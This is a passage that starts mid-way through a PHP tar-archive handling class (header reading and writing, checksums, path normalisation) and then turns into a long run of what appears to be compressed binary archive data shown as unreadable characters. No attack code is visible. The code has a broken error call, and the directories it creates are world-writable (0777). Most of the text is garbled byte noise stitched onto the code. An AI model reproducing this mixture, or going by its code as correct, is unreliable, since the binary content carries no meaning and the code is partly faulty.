$header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKj[_}o ova.tar.gznu[}cWu0 %WJ^G3iFhFY'Iz4=Y/`?աn%$`L -15oyUefv]Js=sν]Z[O$ykm;ntt/rxsrvp9Ɉz ;?g'>=#5KOI1o[|ɓ7N0߯y}婿<1}ĕvo;g~?,_u_>oafuq|]p Ϸ^vVɟG> ٞ|_؈/~8sO >ĕo7}ǹ|奫xVoI>}m'׾>_O<*\i[ǯbW<=۫_?&'mWBe UKo{)n{]o~+ \;swj,>x[_\Rfn}ߥg'<誇y}'o{)˟|<3Wԙ+C ~_.y K+'^/\ 9?zӹjz}~ _"y^oy ϟ?l~y_{=?.~z?ŧ?`zg-lzwjm?u5lƿ'̫n uD_7wݰD-~O9N^g<R}[>}Z}u y?5Y{>ż֢7,*TO~/o8^|e'_: ׻/9#/|#o)}ſؾ2f+$_ oW>?}39{=&C?~~G sɫN~eߜ|aMm _ۻyz|1/~X ֻ?3mz5׿缔 {W~;DةOz^<=g^ܿy|۷W_y/|}O { W߲ϫyW'^\|o?z?g§J=5xmɍ/g^X蛷i/b7mN؃?Ιu x჏7k޾MYyGLu>E?8#~_xqby?izW_BX3KMKL~ѵxϹ{{s/1G76Z'v~gr{K_~'W=O?n!_\<_?i~oh=X|xS=GE}C=Kw\?i_{?]gyoz=c7zL<+~Gߺ^OQo-,_>7\t^|!Oo> ɹwЯp^_۞fo=~#Wyr٫?o|k&t|3nha?P/˯_p՗W˯~}{w>ڻG~{z}<-f7(/*ډΗ^󃿼ۅg^cw>com?y|'ry%kz|zf5/Gp^~=u]Ǽvm9/m[kRӯGů+ 47>>>}+w}~[?{KYo薋{޿|ul|zؗ}_1m,G󉟷5/ȿiC}xYK74xf}/}?pm?w|Iŋӯ˒w~I!ӓ= 8|K^/˗G?>w_enY[܇&$i6[l'o;ssbG_ߧC_7ɿ?''W2~#o^}O_?gۻ}_5G?Ͽ|C}1N?̏6g}?~fًϼ:7-FӚ^|%/?ʗ|ox?^?!EHwQ;W+i| }ꋿ7Z_~}ݗ=~oxWCh麙֞G|=z~;;Wu[ovK6굽G_ai+?;sswV~_[|~}J<_|O^г3>z'Jow]wn}Vd!ׯle7|Q/hIO־}0o^xG׿3jNߦm7t+_T}቟'n2_OD)/v_yxCo_/^Ƿ^YA!pʋ#o|٧>4+7_^M[3z#/x}ncַ=jܷwϛ#78gUo>O}#/?lV/v>{I~ie-/~~~ןy ?95'_N7wn̐?~o&o}_ڸ~ǏOoNj =ڋfw??P=h߅mk;].˥E~~t?BԄFMԪ3nV.9"(Qv*p\`K؎DZK$*]kHs,*r"Ql"$&#Sd[s<ӓr593iL2\fw)]$C נmlJv[x^!¶ @2ODk#~ߚe!;$Nߚ$ 2fl[nk-W8P5lTD߶nW c&l-~`}d "Ea,r6Yx+Ң4̠+3$Ku+R,(S-Zh1d1HR2 v8C|B9`6O `P`'֥J8Kj5Ԁɖ&MFH`K&Td"rB86CB g!x ~ C*'nd0(߶<@i)CW, .6ˎ`]XK-V"2)e `` i g `R"lRH5plJ$CL6/tH~8^49Y!hZCATX mt#("djgD$ hs(d&a($+0IN[s4X_;\[Dsp2ڄЖtILO!i<F `22} ppmnhlxID2Ihx?dUΦ*]0|}DR ?"7@Jd"˶\f tk_áY@F  J`( })@T/ " $$I>ĵykQo"TYm4,BMG!!$R+jT2@܍2PkXs,, pA?P( ?g'c ZCBo$N9ʀx:K J!t( Ջ!q ΒK,%@0c8 0ɵ(rVE"rRX^*+p)ITrY)O i7^) {k@aKIKH#Iic I@QYҏa(9T }X&h$ˀPRZTs JVԠԩPd[HJ!AuB7*XA%6ZU5 @"ޢ" RUDR6 !Q$ ʒ |ᚘ3pjM+ 8ח (Hl&p Ə "0 %H4}RW`NAɦA$MB$YjmFB~#EE$HdLn/7,١ԓ8.&4 Z)yt%@5QL"DGbSA6X 5Hdр!-Tb3b,`9&KM,lGr@b:HH- C%} [c]d# FN8 ( !ı`DӟA Gx7^ $4+ Ȧ,Ҩc@:LCeQ B;)@YCI\v{S=<Ud;( V%԰"V'Jph IyfMفꏓSY~ 'eH'F, P*i7 nfK3ѵh6w L B.G~51 ЦGAǶ@ 66V n؆i+h0EZkdIbJ*\}azd4Y&=VBs& TIFPB iY;0 0@n@ l =, (9D ThJD=D#قP >@0A @= (8k a%PÖ"iUt-lm !FM59Cj;9)Y1 a@f29o< H1!25@\H760H9]M):T:$9NIa9B0^rdJƶdķfyԁdTmõIeJ`V)Iݬj`FKi$>A.iPTZ5J5v Xz2z|hḊPH[&:'%T'S+%Yq-6-EUnDNdLclhP&K0 M8^NDOI ՜7(/fҸG+Ϛ0ɲ#$Ϳ4\@59 9 dlT5XB,F?'  lP􌴦K+Ъ$w0$s]Ak:jԭWǎGF3ha1[v2Q(@&S4]ZMƂu@ p$dtp UVdN @ pI Zf!JYmU&ht2 V$&&t#q@gA G h@N 5EĔDAej52IcA ]Aqyb{hz 3xE{ eZ(ɡU RGڀ V*03hRr噅ljXE#i*^r*eL$d_8lW&,* )ͳ6Gt`*\X$q!{IM*@hЪ P0"ڠqMy뎚Vˁ`z(O`=sIVͷ@QJPS,5!j)*0b-9=w|SAM rk\fmh aCx() #J TF2U0ic j|Ž8 cb@2J^ny+&͖ J@'\@T!e` =@f?~_0C AMʫ@n Uʤ`i?n[0"=z`9U`NưP ԡKDnQz`--0:`./ږbn3(PJ(ڴ qaʺaYOK D@r;!ܛ8ϵ[<8΢7v޸lp:MȬ @*Jal@ے6qȯP4VJ*6գQQbNs4F; u-8M(4A, ֜}'Cq@fߢVvlejZפo\ 8 kN>VgdcR$7vbkb}tAPZL {aʴфX6R>L)[% *עX , 1˝!ƣUZoZL e!+FU`+rH0p/i&`MwZf8Bap2uDcsX&RH;IT")YBך<gW4~"W<\ՠx@y45S',*bA$YFTdnawU )IKJq]gی(4Y ؒК]. Ha`5+m$tX0CV1,bv4`AG,D0=ܲlGSԈ<(R7k4I<4\P~V'Y815VE5xjqe+[-eqdY/>h1 ]Y WVuG?UW)KB* @8ŸnDqLZ@ 2?& 7b{,\u>`7O]flm ShZv AzAj (TBcjk`DAMb޺W̧a:]D^-j!(2u݅EI\ AUՍMPFz'(Lh~4'ц)-qg V%eIQ@GAQxRMF)25%"(}ApR8 NI$K ;GuO4k5^IHZqs6r0G`cR|S'eJI FyHHXꜜb Tb9 #<D`5Bh>@Sad5,s6 b08&5Y7&pSـۥyxb)#s]cѰ$Ѥ:W 8Ihxc(Ւ~4aOVrVخprˠitp*TF$[bAR)6?$T!7> SB_WC!ϷC¯򇂏σn rm9A HqbqX$!AwZe% MFҭz L<76Ik$ Ma w}2` \\i:,{VSiRrP=.Z% ,ee"Y N84|Ha T,%}Pmis9QyQJ o"4N)̏Ec#4%uK$ƬviJM/H1ͥ`&غ4וWO,Xdk 69oʼ^[ 2O YFbu;Y N*m0\YS^D-6#<5 j,SJٚ4*W10f_^ĸ:}04/ n )I5;𵬪^3?{mNF*"$9 RRäS4&g-MJ(j4]xrR +=!7jAQeړĺ)( 093`f_:v1)wFwF. 䔚7M7U&>]&qe+T'Q=L1fT jB#+H&I$bDt3eɰUU2uȡ g\TjByRе%{ Ѱ4];8ET#4D)f+:,(r@%P"frD"KBhh]wPRCTvD&d?`)XJb/[wāOi~) (bVRY(Qӣi \ZMC !6J/ ۉ`h*7rrL\ oMao(MJs&|BZҐ;ք'Wte{qХ#V uw0* Z ]3F.iJYY&P< 3t1? %Rq`'k `3ĪA2+Ñ=-s\!y@NH (TA$,yRФ\X\g^!Ղ0z:S"WD^9xO-Qd)TF'MQ+%=w #\pF."Geq\P: ]Ud9ͪW35sTpq_LPfjBgik{!cge8,h?0G}V:5dAМmԠA ~4帢pv) FT0`5ڢ@P/h.Bsap0@ꏄQ!J`i` cC["  AxB,RL2K4<^5KAP]9X4RQ  50xB7т>c6C}GvmH84h3M7Q6'IΠ[⡵P:ӵ/k\z | pp~rɵ@~ +z4\%RݍeHerLVuĜݹǛ]7#]\Zٌ:#Aޕ+}wSt6_hͷ6?rww-/٩RÓN6Vά}7\nFź;' {v/T낫Pг̸M[$7|Hvkw`vMOX|;դ6eNi9ΝX/=ck't8%>t4mrݝ)#$(zR A+:ˮ /rٻՀ'_q/U6<'٨lf+T˲:㋹¦ֻImqݎஹZr֚b/ΰD&@['κʛQ[Y L5w`37;e?(7W mqmԛ"o*ީn,UV 6a){㌬4]+MR^DLw@'mN{2|Liw WW~wk3BZ47Slßڪ;K9E}%ނGї{J˽v4=]Mw9֫nݭ-†sXq%]{;6rFz?Iow/!w֪{'g3 7RX XSd3%2ba¬7"oa:]˯qTagPtԿ(E ;V0-b[s̚3ͬ-9c.JzlQs񬭚Zn{X'B]zkb>b2nZ]\p[dn޶Igqf[4"fʖ-X2*\vh&gE5'6znٛ ֦ygjz'![uRYonKzjgי-gYs{¡Ո 9) H|2(XjĉF<"b%}|j:Un6r}@ܰ9_+Dر$\]A{3R+@@@no#{YS߁\C7pSf@C?XM"u'p D,1dBj ݦ`l#)9Qh/nWeË5h.&0tk(u Xxs{5 AAn,@^mnҙ`&lfҹHGCA6QJ f+xx#qಘ}z`FiSkp`բʡ 8WךV ؊Fv~Z0, ]Z$+vs[meƛmkR>Cu팸#݌ ˺5l+3t r1^1xWJ2 _f9<2̵[-DN HS)b&\Gk6`_A3kj1ٚ5X 冗 v<;iI'f0^S-ó(ߍJ^PVm8}jP|ɰ[y%_,;J)åu՝U<#@;CAFBUоX[t aBQ%CHn4I@WE3~< &ɦMX4) r|V/  i9c<+6th h%_Ӓנ/\s5_7@/\#lS#;)Ϡ'tRnK/N@4)t gUc VrK{~/Lu|p%TO 2 tF!h)O?]%@"P&f(Lb;6)ST*e-:?' XDڢȱ$nl+ $Ê)@nW|T{u:Gs yzD:X' CKbe9PG -Rqt/IXJҮL+ rL*`, XÌg\}Rb4mr 0& 6n\ى.'4/2 7 _&61rAImaT[$ZTGG.ALy͢f\5Y,F+}&OzEɵ'le]pB-D0"Ӡ!(ڬD@^כ PiJj̔Q,+ f3"P9UPjWmH>*t?&xB2GLUt£@0/d-"+VO)9xuh t,o~KW|Цs2N eX; 䃕@GeJ\8E\-" ڋ ([p2)erTa0JDm {$= g$1ݑIݑOQ7L 48rșۦEu0H&胦' ;WRZZyޯ@뙄4[#r&9?o' ԐN51Iʻ 3NאNQ=Z41m&d[f(Z&xtEBk~RjI]h܎j$Ȇ!Y2- S1\BDQH 2o`-a4w$D2Adܵb{tTvd2):EMIQmDv ظRrT1)%1I)Z&h q-.30hY݇hnx% gj(bts;hAd\=f>m/ݷ3hj>'tҧsbICc ;161nlAO<-C;d5o W +!>C+g%~DPp +ti0TnkDB8V5H̯f#;ZYE.Cc 5 uMH픳wZTmDKorvgK?gMĥQ |r GC3VsI\kuJ>[+-!LS]lDr`[aG;$[F-,pvM8: ,+@o*^!z2te Z瑩_;>`5 fvn՞Ã[$?]E(q5-ĥ꩖ eKKU_ =P*qNd*|i߇cNQIRft@|֝R9aq~rl:=9@EKT4@GƚɛҔPRW;}*esZ ^$ӫ vq0M們)EH%`lg̦jdz#st ߿|6Vx"V,C_F3_#qPL4O&[Ϥr`* *{\Sۨ.գʰt'BN*+ K_6͟ʵt Μ:nB8 Ce0֖s_]vd8Ma[ݯ8d5e4\fD^7:-.CPaeGNȡ! 8ωr$nʉ;O [|s'懝'4JK@ H/t֞MLL6븿Hbfa„]=gMjruhII>m{,:p> ^r/9S:x`Wuj,tc6kaϾpYQ}jWo`8 {1l&VNOi}TKm.)!dAy/reʐJçc؎dY7dbgHĖ´;vk,Wl#^f2Ѹtz Q!j#A.ktx{CH\J6%=νn57T&U'(Zk%K`4Hñ=[v%\W#]>!;`J$H0WWBE[׶bB8,\=N׃ѐwqWi2$ N0 [5rDb^b|P GA2抅:(_V\+պPyb" +t4`0%;Aݸ)v;.t7K ;bp 9*ɺk46{kRl-RA[gbZͶVi^Sam%^5{f ochN{q. q!Ѷ`| Yk*U*Yk fɼ-5/эz#fÓ/KBYz.c mVwG/%Bl1S {zyϓXǓeX%I[Ʋg#̭l6=4].3Nbv8gn3I^)tW~ymc1tw겯_\_"8q.oS%0Sf n6I&,À,ph\( {Pe/j).^ZɅp ...Ֆ~x{`pW VR+ s堻e6ܑG7bkKr eB`-W.t0FLmgVl6݉r,‘%:$Lj[ZX>XMʵۭ0X;rI9z$ɚ+e\V\\59Y+kjڮ5M h)lTXՄp1Ei>{n~iYGoUkf0+D+D񄲱FW.j5{-H=^/vmeBa'ѫ;dxu#s^GGWZ^_/kF׊Qq)noz sC- liYoC{u ~bR'ڈ~FXf7e2^7'uL4nfd)'?.2˝E2KY6sfm\xsޮ/V'BvʘMop^vSF箳ˡf),=_6r˅-{njoobtڮHr_fd>:nkvkbL& b~űƮ3b~X:VJNҋM+9lEOVh7ʩ=i5!ojaJQpՄĆuft_L97{e]e>zϹKF=k{IwnOg^s5]^6.ﲫ,SV[璍^1w[&|vYګ|'G}$舵 ,ݶtbLE[bj5;xڻKzK\IV|v-LbJ[5{ͱnpy[b$V n#$ +{J{J_-f9\F|]fڕ ;՝8L4NWT&wj&JZll._."=2r枽KM3Urx:U"'/ bض< |UȒvŶitYv}(4rQHoBb-6F-+hw\ Ygʖ/F bdWl/ӏEZiKګ.W,Tj%^/ꌬ2hͧKv{9)OٽG'KYw2lɖPꉮD,WVM*w6*M_m;9N=-W-7\jϾX32J+N_͡oM;IOlP]ћwv*u_lxy\;Ij#o[Iî~S1\-a 4l.f_ zM/㡍ng^l%szu/dI9B;aZ&q/fƸ~g]NQ"@T;`iƓ]{eɽXSUKj=LmV3hjey3KŨ%+~w,y쮦8W{']E]qF'ISMm~_5n9y49vVl% !*sz:e!reU0ˆKleRb<ጦuOߨ6w?hri&TD*ͽ]*j9q{5X)bsŴhnfz)imxbO1k%җ^bεq- w.1Y77q_W}Ղݗ,m\o#`>rlŪdVޥ6f@&H6^w5]cWv5 ^NzfTTn:, o䲕H'+\ǧ^Q$pLfZbKf{by& T#}5xz%d StGJ_yi[-bnolh :Nzsu]Y];빼{7JZ6Lmw:(gʹW $dsT:t)oVl՘] msvW D#Z cvv:nw匭VWb",qxPٝ9cUW25bmB:Nŝ WOV36z{͎_ ^sݬ+=W Ws?lPU_5lhгg%+ⅆ FlU Ztmo!,A A0X2Zv+ubG5_w߿9L$V lV̫DTeTZ\nA?sRi9ً+|9LgkQt8BYtb{v<6V)3UϙmZbm.vK|iViNoNgSb؜f>\8I3M!r=| LhX\fkJ30.kx.v9r7ZSkxJf.Zq<}:҈բUKX &ᴓIoo)tZMwꉵSEfXO(WK. ƒnH*ZK;>sm,;Tam' NX+F][mڅh;jңe~-m7 t!Z 7~d+̑|1(rIThYu4΄#XcL/dbk>s מ9 4τc4}zk.l,nr).$vܴbŕz\̯mΞbJ5=g4׍{߷rB^,+Kftlbq%wo9s3Eމ(5f8vՄ}1h"m`o lHok /.{Y`,|z?XH}G+ej~cQuȇ4#nywwy,NY)[VbL{/kxY`2`t=/}j]-+;lILo3%RB-7tjg\ F7ẰR(>Iovy9WcID*ۭDWnt9^mՕ%Kdbs/zj5ڭ;v̺#kf=Ol3j5G:NC4-zt=_KŹ^öS8߭v‹{XMz.ww2J׬&.X]+)5==rqsq; JV2\}/o+_Y_*2@q/r#ԗQ`Vr XjL76|G6xO%\ppf.'Mjm`2[|(s'&CV9tJK\rZ@>%`%s\^"w~Ո'6!iWUKwTqtRדBu+xۋc/u%aQp}Z3 @ky6s}ev[F^s]ނmﴚ o[`|nwǑ=Q\"k;lHtpԽ]_/`4+U9s]2d1isU:6[|PT d%h3{3^eYkH[P wzHG9T*˚WB%ߥmt%\h#6n(6^k-A$^6j//9FߟDB~K6$fYS5?\'$un]tyi z+骸*=߆O6,W͂`K(M-G%%3vU "__ @}bULfl R=F= yzXڵ/9-m$v˞9J|bw+{hkm/3._nGȝ63h8cZ(Tb6TP162raV ..eXjA ŕvW[sES;tWKlkQOZGP,2՝b;W_t8>kKXl0εp8k"/vlkIv#P΄>W 16DPhU:@sd `8a;*;|lqmt2!VT@Kzwvbk1.2ލ8Cr܋rI߆lq3^~cc{TzsǽXȕHtf.$󲄽IUhvl-))"~ ?@Q 0.uVͰ0RAz1cbЋ(7-:LDh2tBȁGRĤCFlTlbZ^ m 5w8t k EEQMQkVjUd1~˴ Ѣb$PvYCY!r-)ۚ$/^g e%abhog fuqPcuHSl,uwK(Ȉ2f5l`A~=~ Y g2 R+Mvc㲩K}zPgqjlC+ile\odPC&?~vgyGe쇝Plk +pOD-V>fd|\t7eFYt28~,| e$@uA8JȃZ0f CqGE:6jߩD$NbC5TV2,j[E4yPC592PŞ{z T< >0w(UXOc{JWypп:2x"e "9"4RD:{3M=~aT`7km=pDsU<rA R¸Ɔq6 );2u^dqq8P4qMod,$hǚFE|T*I(1!cW"%Eo)u?~<\ĽD녹<@H +2h; ГRyL%B2 ! EG,`, Mwݿ41Ï9uR11]Szc*R /Bn(Ÿ-|uoǠe`pf ?s:o2@ LJ巴2opdh"SC];:T}^v:1bu j^Z5Dx $C׀ZR`]Hml19 GAeF،ƚ[1@& # AC4q@N&ʨ&4׿G9<2FwKX#1X@7(!HHv(^Ɖ-譈˵Y W`Ef<8,qH6J4~ !/g o^Iȕ{*ǴC`F 6\tPNdIy7يwp?-FJ2.cPpxtO,{4P9q@iN`w4-O|&N'HS~xIt7bg4s6ٿsg#SMyJ}؈9(#qőrR뛄쁂 B1$dA_dt]NU0r9 Q\*x:gAaui|D˪%?ѧl}9?tb|w~{a ~!ّ$PNlT5ykQ(Z&wRPjK~a0Q1E{tKb6ŪFDGpq`'+,մM婫0AU@qb|Ke Vj~ ,Fek`Xܕ ~& ư #<  гõm=N}!oaauft(f ,)\&qfp*)cXR:7B7l6;wZH\S`gfE "R,=׊oz_H+- iՔ5|HzL׻a0]zzr9H6q՚0MrيNZWJ0Ę(O}V: \{} #Mppe\e'DW!4I9S yn"/BdC9۳]~.,>xހ8 uG=sb^aM'4Cxpck(y'Ʉ 1ء89^|^ T N/δɹJn`'d֜iOzM@uݴ[@u~GėrxF)"GŠSqodL3ĹSA?FI5pis;w*Ώ8yA6ia4ph<[VVz|6yu~Xƣl3""yQu}xCWRdȃOdIHcߓ&*g35J3~b _*uӊXUc>p@|]SUw#Y=tUy,^04&_mR$/MC uyndw1:*՟Eϩjc>Qʊ.< jæt `|$s0Ȇ(齺$Ȳ[F6ierq+O+ hjM pAt@ ֓UB=P?ޤkXz6%k&#w3ЫjTjȻ'Z(yIoI)ywY}\OxpoP*?^:`maSL>@  c;r9h%%K/eM y¨W |IKC1h͢tۂ."<*4ʆ&4/Rk8[  a$  5CM1/Xxtcx [B>&K`l#EM0S[,ae% [ۡ(@9d/ nWwFv3k@' o!1Kj7Ac.~\O@S ˆVJvHـ9rg4[V- z="5=F%wɖehqv }Km` u[`[,!`$8//)"r1r<4%PZ70b<%y@g>ݡIʜ G]JAPO J#wXxPAtL>o\#T9.k%@ bM'r yfZ+}H`/=fk( a<[9;&d`4sH>HnY.&b5bȊ~ZZ'0ܵLQfJJ#yrk7 #'PӘ¨ڕv ;$&C$ОGQU>GX_.10ҴE<0@Y1W\A(C`9~VKh/>2HVYPAM h*SeA=* 7֚q0ݜ30iQNF6Rdףk+62[#3 'pl!n \&N=.JM貞tKcJD:':,}w"`#yFu[yJ7ǥpX(YaҺ(FvZ暶:z >i`r!!/hq\&ʚ!.CR*%#r 0y[{@X5q]xQ4dq_eH׈B(S r(88[ 00=$g6vJoP+Hhv82efX1>S^˃S0K u:\Ե#H6hT`<\ oM tRU,^lTtV;jPNQʘV8h ` PjAk/lp .u؊)LSrhSuIBk⫥JpVT FQI:8+x"OcCѩ) E'(&z0BBc2 Gbbi9JefHZ; r]^۝ngw8]nmVEZ4NN,DBT,DB#- >戦&g vaѦ޺ Q8~b(%r(EӝDX!Y_AQ:Ơ0&A \[@i1/uۜ!'<8^tN̓c`3P8a葓J[Nr+I.9ɯ$9X^%!04<1A\$TQbA6PfhQH Jv @/U-0|RN +8Y=Qe9 y!5Kiܕ&?sdE|(Ek/_r*9e.7*a6OvynX!'& 3$@eF(/L#D4 fjJjQ UP8ݮr|͖24m;> A `8"pja@ lp|q ]Wa8 Z8ݕ٤4Lh0-EYH4ۘڶaP"^kR`!ͦ6Ani{藴hHxsimA }K5δQXp RXO@4p_`*6nuͦ3Eڴ哭S3{-IзX ʴ@LRh͊:15mU{ ͠1hPFV+}r1THF-?M rt /bs[@ez ML7s.VKdYl0BYkBVFYX L&jxCfXFA)'3YCH0"jFhV-h؛6 Yzqr% >YJZs(FbX0G :]m9 |gkزHTgA{Qh/FZ]o .*04Alg3]ڡ@@U/wJViC Z쬚!KTp2Rh(@Q) m6+ >P띤OY~"A}Ď ̄ 5/c9'IH4 mpauoUHEc!'bL .*{hG*1NtGC2mU`PsM"C)^HH 2MޗA.B:(C%We%hQv_KgQE\/׼tH#zbh6@K2Nx1R^2vՓ!(1Ǭsꎾ6; sވyq ý tG0N5)A kX{/EemTE`ÅTSer%EQ2U[ &I]єy3H1C2R=.ÝØMdk3#_5\:R1 %>+8ǁp}ri&h%T%\&;ULo+!叞 b2ӒV$dv 橦sZԶRUQlΚ`I9lAGW5MA1dE~Ķ2o{LVohW=#U7ʨRʗ@81(x!vCQ|gwW9LAIDùg%ZlB%c"w(7{$?C]^Nˍ`89I?tHq(P~^ (?*rQ ׷=G1{;-ol&r01d0j!ߠ koipeFlĸSI RGEԇͦWxI+D Wz(*f`QD&+GW=J@=l4n8*lR#*W{L &õY)8;Y  #{ǨQy#0ԕ7bgUx-| ,98TaGn~0ۭt|͎6v#Z:%Z% .d: BIwp$ h txD^8Z0-RyP9сD B.'nJYv|EX Cux8vF9XCgLjs#@wK  Z=C8DF=g+Uaӊ=8΀IwBs*^AU\(bW-8ca3M_=Oa&j{zHG^5Pޒ8b%(M$9[ձjn)NC ЧjX\ŕ>C(tS:T*0Meu *WLS=dh+WCG40h*'*k=LM=E|Z񌖯5練 8 Bͨ8h@zyI,"t ywUvuG."> ӽ>Ui0 hh e]#$O[ٚۚ2ӮP ^ sm0'st 7GlǏ!8rCW/_"5$lq@ ~x-SQ.Em JXdt &`? X|`K H):WZcYIt*' `AH@m ق^. ]ŴIV$v{T[;;쨇0\=*7jBafcRo(D8ZHh@L`7 #_M0!Z+>]ADM 94g lSk1iM&7߆7"MV@"NA 7b@w@!- 9reRlJmW ¶ĥSȦ 4-0,Gɩ|)p_ 2]aXjdBA/Q@  ()` ;%ihABa㓂 Y%Q0BeGnHM#( [!!#B&E >uw$ߕj. -Q]jS ^M?>,5&C4/. 4j#rɡH` !4zpqX`RҶ(cI]+ *qp(i<'S2ʡmj@-PZQ+q @ElۚJ`p hUOO )-'htOO @vpt=&LV(7%[aD]S]?8 |␩cdiƁ4+5TDe4MvDm8FRw䦁 j!Yؐ4hbhCђ"ѥV^HSX(OI2OW#G6% DCe$V ? 6Fz+uȨɴ2Qle[ #YCJzD!ߥ .qw$0 _e䔂'rIP1iP`Qi!WrX mK?m!dHn6Ō1NZ-·'}PQ8rG o7}IrO RMɜInё,^WEӘY!h3tP^N&. CBc=pEkdV<ZUCm0rO=-SF!y{yfkc~%qHfA!'"Nкll@l.Bzo'a*T_a?J`.-2@;q-KSVV# AX|ok[E v )-e4`1ε[,0 8*b$>Ll_f <׮Ց~@fH}IO}9B$uL1kЗ/BKMiLhmN-5^АdDʼNvD2ӌ+'[\HSG#:UZjcH&;^8$|}T]A3z YTE`%)P|UjrɆiWudFL@T-r!PɑJGULgjo#ٻNZɵsG:~e΅bgCQ :/t8i 0 C`qh@?POTbJZVfr9I@m1*Lsiڣ]/UmGU߻x;V$*Xt`k 5 AZ=m`4>&%CEVYZؿ_P:ЍʊEC&D-ԑ>9BT^wJ{VdfG!OC+#yNh'bU MVH!n}Zhk cAMbC|~Z><*nGJn084K@]+YZG7:ۧ\|Bd 5I p5 ã3fWh+TkuG+. evPȣ v WMpXHʈ9O朷HeSkI|.$t)91tK9-uHO vC eijXJ;'pnOq坑™AՑ^K=\%'Ja=aM2:ТveY=Hj(0TʡbW -uלу9)cp]EY.p'佄a?e4n<1T%:)}كTZ0+ӾH !˝p\vfP*gln\]Pл[Y\w߅C(vOrntcw]y7tڴN5q)t's[F;U8`4(W .O4$P<rTkm) avgQ`y;`;\KyǑQ=grxkb]l-B^g1.$ Te$|0@jƷ;:Y 